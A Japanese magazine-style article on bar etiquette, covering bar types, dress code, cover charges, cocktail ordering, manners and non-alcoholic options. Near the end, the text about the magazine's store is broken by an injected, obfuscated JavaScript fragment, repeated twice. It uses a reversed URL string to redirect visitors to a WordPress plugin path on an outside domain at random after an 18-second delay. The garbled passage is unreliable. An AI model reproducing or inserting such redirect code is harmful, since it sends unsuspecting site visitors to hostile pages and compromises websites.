大人なら知っておきたい!恥をかかないバーでの正しいお作法
大人なら一度は行ってみたい、本格的なバー。
ワイワイとみんなで騒ぐ居酒屋も楽しいけれど、時には、一人あるいはごく親しい友達と、美味しいカクテルやワインを堪能しながら静かに豊かな時間を過ごしてみたいものですよね。
バーというと敷居が高そう…と思って萎縮する必要はありません!
まず、バーについての基礎知識やお作法を学んで、ハーデビューに備えてみましょう!
◇バーの種類と、選び方
実はバーにも色々種類があります。
・オーセンティック・バー
静がなムードとしっかりしたサービスでお酒を楽しむ正統派バー。イメージとしては高級ホテルのバーです。
・ショット・バー
ボトルでなく、一杯単位でお酒を頼めるバー。オーセンティック・バーよりカジュアル。
・スタンディング・バー
いわゆる立ち飲みのバー。チャージがない場合もあり、バー初心者にも敷居が低いです。
・アミューズメント系バー
スポーツバー、ダーツバー、プールバー、ミュージックバーなど、何かのアクティビティをお酒とともに楽しむバー
・ダイニングバー、レストランバー
本格的なお酒を出しつつも、フードメニューも充実したバー
・特定のお酒に特化したバー
お酒の中でも、特定のお酒に特化したバー。よく目にするところでは、ワインバーや日本酒バーなどがあります。
中でも、大人のバー遊びとしてしっとりお酒を楽しむなら、選びたいのはオーセンティック・バー。
ここからは、オーセンティック・バーでのお作法についての解説をしていきましょう。
◇ドレスコードはあるの?
非日常の空間を楽しむバー。ある程度きちんとした服装で行くのが礼儀です。
特に初めてのお店の場合、パーテンダーさんもお客さんの服装がサービスの判断基準になる傾向があります。気持ちよくサービスしてもらうためにも、きちんとした服装で行きたいですね。
「きちんと」の基準は、オフィスカジュアル程度と思えば良いと思います。女性ならちょっときれいめなワンピースなら間違いありません。また、セクシーすぎるファッションは避けましょう。
高級ホテルのバーの場合は、男性は要ジャケット着用。短パン、サンダルなどはNGです。
◇バーでかかる予算は
「少ししか飲んでないのに、お会計が予想以上に高くてびっくり!」という心配かあるのがバー。
しっかりしたサービスを提供するバーは、お酒の代金以外にチャージ料がかかるのが一般的です。お店の格にもよりますが、チャージ料の相場は大体500〜3000円程度です。
他に、チャームと呼ばれる、ナッツなどの乾きものの代金が加わる場合があります。
海外ではお客さんが飲食代金の他に、サービスへのお礼としてチップを払うのが一般的。しかし、日本ではそもそもチップの習慣がありません。チャージは気持ちよくお店にサービスしてもらうためのサービス料と考えましょう。
なので、チャージ料やチャーム料にクレームするというのは論外。
チャージを払いたくないなら、ノーチャージのバーもありますので、あらかじめ調べていくのがよいですよ。
◇入店から注文の流れは?
・憧れのバー、何人で行く?
オーセンティック・バーの場合、カウンターがメイン。テーブル席がないことも多いです。
グループで行くと横並びにカウンターを独占してしまいますし、また大きな話し声で騒いで迷惑にならないためにも、本格派バーに行くなら2人までが良いでしょう。
グループで行くなら、テーブル席がメインのにぎやかなバーを選ぶなど、TPOをわきまえるのが大切ですね!
・バーで食事はできません
行きたいお店が決まったら、早速入店…の前に、お腹が浮いていませんか?
ダイニングバーやレストランバーのような料理がメインになっているバー以外は、フードはナッツやチョコレートなどのおつまみ程度しか用意がないのが一般的。
お腹が空いている場合は、ゆったりお酒を楽しむ前にご飯を食べてから入店が良いでしょう。
・席は案内されるのを待とう
ドアを開けて入ったら、いきなり席につくのはNG。
予約が入っていたり、次にくるお客様のために並んだ席を空けておきたいなど、お店側の事情がある場合もあります。お店の人が席に案内してくれるのを待ちましょう。
・いざ注文。カクテルの種類は?お酒を頼む順番は?
席についたら、さて注文。カクテルの種類がわからないという方のためかんたんに解説します。
よくカクテルでロングやショートといいますよね。ショートカクテルは三角のカクテルグラスに入ってくるカクテル…というイメージがありますが、実はロングとショートの差は氷が入っているかどうかなんです。
ロングカクテルは、基本、お酒をソーダやジュースで割って氷を入れたもの。冷たさがキープされるため時間をかけて飲むことができるので、ロングタイムカクテル、略してロングカクテルと呼ばれます。アルコール度数も低めです。
対してショートカクテルは、氷なしのカクテル。適温に冷やしたお酒をシェイカーなどで混ぜ合わせて冷たいグラスでサーブされるものをいいます。
氷が入っていないため、10分程度の短い時間で飲みきらなければ美味しく楽しめないのて、ショートタイムカクテル、略してショートカクテルと呼ばれます。
アルコール度数はショートカクテルのほうが高め。ただし、ロングカクテルはソーダなどで割るためアルコール度数が低くなっていますが量が多いため、一杯あたりのアルコール量はロングもショートも大して変わらないと考えて良いです。
アルコールを感じにくく、口当たりの良いロングカクテルは、くれぐれも飲み過ぎに用心してくださいね。
また、何杯か飲む場合、味わいが軽いお酒から頼むのが良いでしょう。というのも、濃厚な味わいのお酒を先に飲んでしまうと、あとに飲むものの味がわかりにくくなってしまうから。
例えばジントニックなどの炭酸入りのロングドリンクなら最初に、続いてマティーニなどドライなショートドリンク、甘いリキュールやクリームなどを使ったカクテルはその後が良いでしょう。
コース料理をみれば分かるように、軽いものからボリュームあるものを並べていって、最後はデザートで締めると考えるとイメージしやすいですね。
・キャッシュレス決済ができない場合も
最近増えてきているキャッシュレス決済。
しかし、クレジットカードカードや電子マネーでの支払いの場合、売上の3-4%程度の決済会社への手数料が発生し、そこはお店の負担となります。ですので、小さなバーの場合、キャッシュレス決済に対応していない場合もあります。
キャッシュレス決済不可のお店なのに手元に現金を持っていない!という事態を避けるためにも、お店を調べる際、あるいは入店の際に支払い方法はあらかじめ確認しておきましょう。
◇これをやったら恥〜!バーで避けたいNG行為
・大声で騒ぐ
オーセンティック・バーは大人がしっとりとお酒を楽しむ場所。連れがいるからと大声で騒ぐのはマナー違反です。
同様に、携帯電話でのおしゃべりもNG。電源はマナーモードにしておき、話すときは外に出ましょう。
・乾杯に注意!
カクテルを楽しむためのグラスは、お酒の味わいを損なわないためにとても薄く繊細にできています。
なので、グラス同士をぶつける乾杯はNG。グラスを壊してしまう危険があります。バーで乾杯の際は、そっとグラスを上げるだけにするのがマナーです。
・むやみに他のお客さんに話しかけない
バーは出会い目的の場所ではありません。一人でリラックスしてお酒を楽しみたいお客さんもいますのて、来ている他のお客さんにむやみに話しかけたり、異性をナンパするのはNGです。
ただし、会話の流れで知らない同士話が盛り上がる場合もありますから、そこは常識的な判断で楽しみましょう。
また、隣の人の話は聞くつもりがなくてもなんとなく耳に入るもの。
際どい下ネタやなど、周りの人を不快にする可能性がある話題は避けましょう。政治、宗教などのテーマも気を使いたいところです。
・飲み過ぎ、酔い過ぎはNG
口当たりが良い美味しいカクテルだからといって、正体がなくなるほどベロベロに酔うまで飲むのはNG。大人が楽しむ場所であるバーでは、カウンターで突っ伏して寝てしまうなどの行為は論外です。
◇バーでも楽しもう、ノンアルコール
「私はお酒が飲めないから、バーは興味がないわ」という方、いらっしゃると思います。
しかし、ムード満点の静かで落ち着いた雰囲気の中会話を楽しんだり、ホテルの高層階からの絶景を堪能できるのも、大人の社交場であるバーならではの魅力。
是非一度、ノンアルコールドリンクで、バーを楽しんでみませんか?
最近のノンアルコールブームで、ほとんどのバーではノンアルコールビールやワインをそろえており、一部のカクテルをノンアルコール対応してくれるケースも増えています。
ノンアルコールビールやワインをジュースやソーダで割って、美しいカクテルグラスでサーブしてもらえば、ノンアルコールであっても、本格的なバー気分が満喫できますよ!
MELLOW stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreのおすすめのノンアルコールビール&ワインはこちらです。
【こちらもご覧ください MELLOW magazine過去記事】
・カクテルとは?意外と知らないカクテル知識の基礎
・カクテルの語源って?知っておきたいカクテルの豆知識10選
・ワインで割るならコレ!美味しいワインカクテルのベスト10